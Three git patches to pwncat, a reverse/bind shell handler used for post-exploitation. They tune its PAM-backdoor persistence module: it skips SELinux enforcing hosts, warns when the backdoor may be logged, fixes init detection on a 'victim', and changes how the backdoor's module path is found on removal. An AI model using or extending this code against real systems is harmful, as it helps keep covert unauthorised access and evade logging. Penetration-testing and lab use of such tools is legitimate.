From f815ae315e83387ec272feb4a87265656873b889 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Mon, 29 Jun 2020 21:10:33 -0400 Subject: [PATCH 1/3] Added warning for SELinux mode Should fix #20. PAM persistence now shows warning for SELinux Permissive mode and will not install for SELinux Enforcing mode. --- pwncat/enumerate/system/selinux.py | 8 ++++++++ pwncat/persist/pam.py | 17 ++++++++++++++++- 2 files changed, 24 insertions(+), 1 deletion(-) diff --git a/pwncat/enumerate/system/selinux.py b/pwncat/enumerate/system/selinux.py index 7fdb01d..75ca77e 100644 --- a/pwncat/enumerate/system/selinux.py +++ b/pwncat/enumerate/system/selinux.py @@ -28,6 +28,14 @@ class SELinuxState(FactData): result += f"{Fore.YELLOW}{self.state}{Fore.RESET}" return result + @property + def mode(self) -> str: + return self.status.get("Current mode", "unknown").lower() + + @property + def enabled(self) -> bool: + return self.state.lower() == "enabled" + @property def description(self): width = max(len(x) for x in self.status) + 1 diff --git a/pwncat/persist/pam.py b/pwncat/persist/pam.py index 835b57f..2a15d29 100644 --- a/pwncat/persist/pam.py +++ b/pwncat/persist/pam.py @@ -9,7 +9,7 @@ from typing import Optional import pwncat from pwncat import util from pwncat.persist import PersistenceMethod, PersistenceError -from pwncat.util import Access, CompilationError +from pwncat.util import Access, CompilationError, console class Method(PersistenceMethod): @@ -37,6 +37,21 @@ class Method(PersistenceMethod): if pwncat.victim.current_user.id != 0: raise PersistenceError("must be root") + try: + # Enumerate SELinux state + selinux = pwncat.victim.enumerate.first("system.selinux").data + # If enabled and enforced, it will block this from working + if selinux.enabled and "enforc" in selinux.mode: + raise PersistenceError("selinux is currently in enforce mode") + elif selinux.enabled: + # If enabled but permissive, it will log this module + console.log( + "[yellow]warning[/yellow]: selinux is enabled; persistence may be logged" + ) + except ValueError: + # SELinux not found + pass + # Source to our module sneaky_source = textwrap.dedent( """ From dfc86464fcff80843d9f3cdb51bb333ec7ace834 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Mon, 29 Jun 2020 21:55:58 -0400 Subject: [PATCH 2/3] Fixed init system check Tested with the Lame machine on HtB, and it is working. Thanks to @CodeXTF2 for the heads up on this edge case. Fixes #22. --- pwncat/remote/victim.py | 2 +- setup.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/pwncat/remote/victim.py b/pwncat/remote/victim.py index 7fd79d6..0b73283 100644 --- a/pwncat/remote/victim.py +++ b/pwncat/remote/victim.py @@ -577,7 +577,7 @@ class Victim: with self.open("/proc/1/comm", "r") as filp: init = filp.read() except (FileNotFoundError, PermissionError): - init = None + init = "" if "systemd" in init: self.host.init = util.Init.SYSTEMD diff --git a/setup.py b/setup.py index 4fff8e9..4981c53 100644 --- a/setup.py +++ b/setup.py @@ -30,7 +30,7 @@ dependency_links = [ # Setup setup( name="pwncat", - version="0.1", + version="0.2.0", description="A fancy reverse and bind shell handler", author="Caleb Stewart", url="https://gitlab.com/calebstewart/pwncat", From bdb5b5db56ae9d6482d02bc6192fb9c9b5f7ed31 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Thu, 2 Jul 2020 08:48:41 -0400 Subject: [PATCH 3/3] Fixed pam persistence removal Locating the pam directory was done differently in install and removal routines, which caused discrepencies after installation. Should fix #21 --- pwncat/persist/pam.py | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/pwncat/persist/pam.py b/pwncat/persist/pam.py index 2a15d29..888eb90 100644 --- a/pwncat/persist/pam.py +++ b/pwncat/persist/pam.py @@ -210,17 +210,17 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg== # Locate the pam_deny.so to know where to place the new module pam_modules = "/usr/lib/security" - try: - results = ( - pwncat.victim.env(["find", "/", "-name", "pam_deny.so"]) - .strip() - .decode("utf-8") + + results = ( + pwncat.victim.run( + "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'" ) - if results != "": - results = results.split("\n") - pam_modules = os.path.dirname(results[0]) - except FileNotFoundError: - pass + .strip() + .decode("utf-8") + ) + if results != "": + results = results.split("\n") + pam_modules = os.path.dirname(results[0]) # Ensure the directory exists and is writable access = pwncat.victim.access(pam_modules)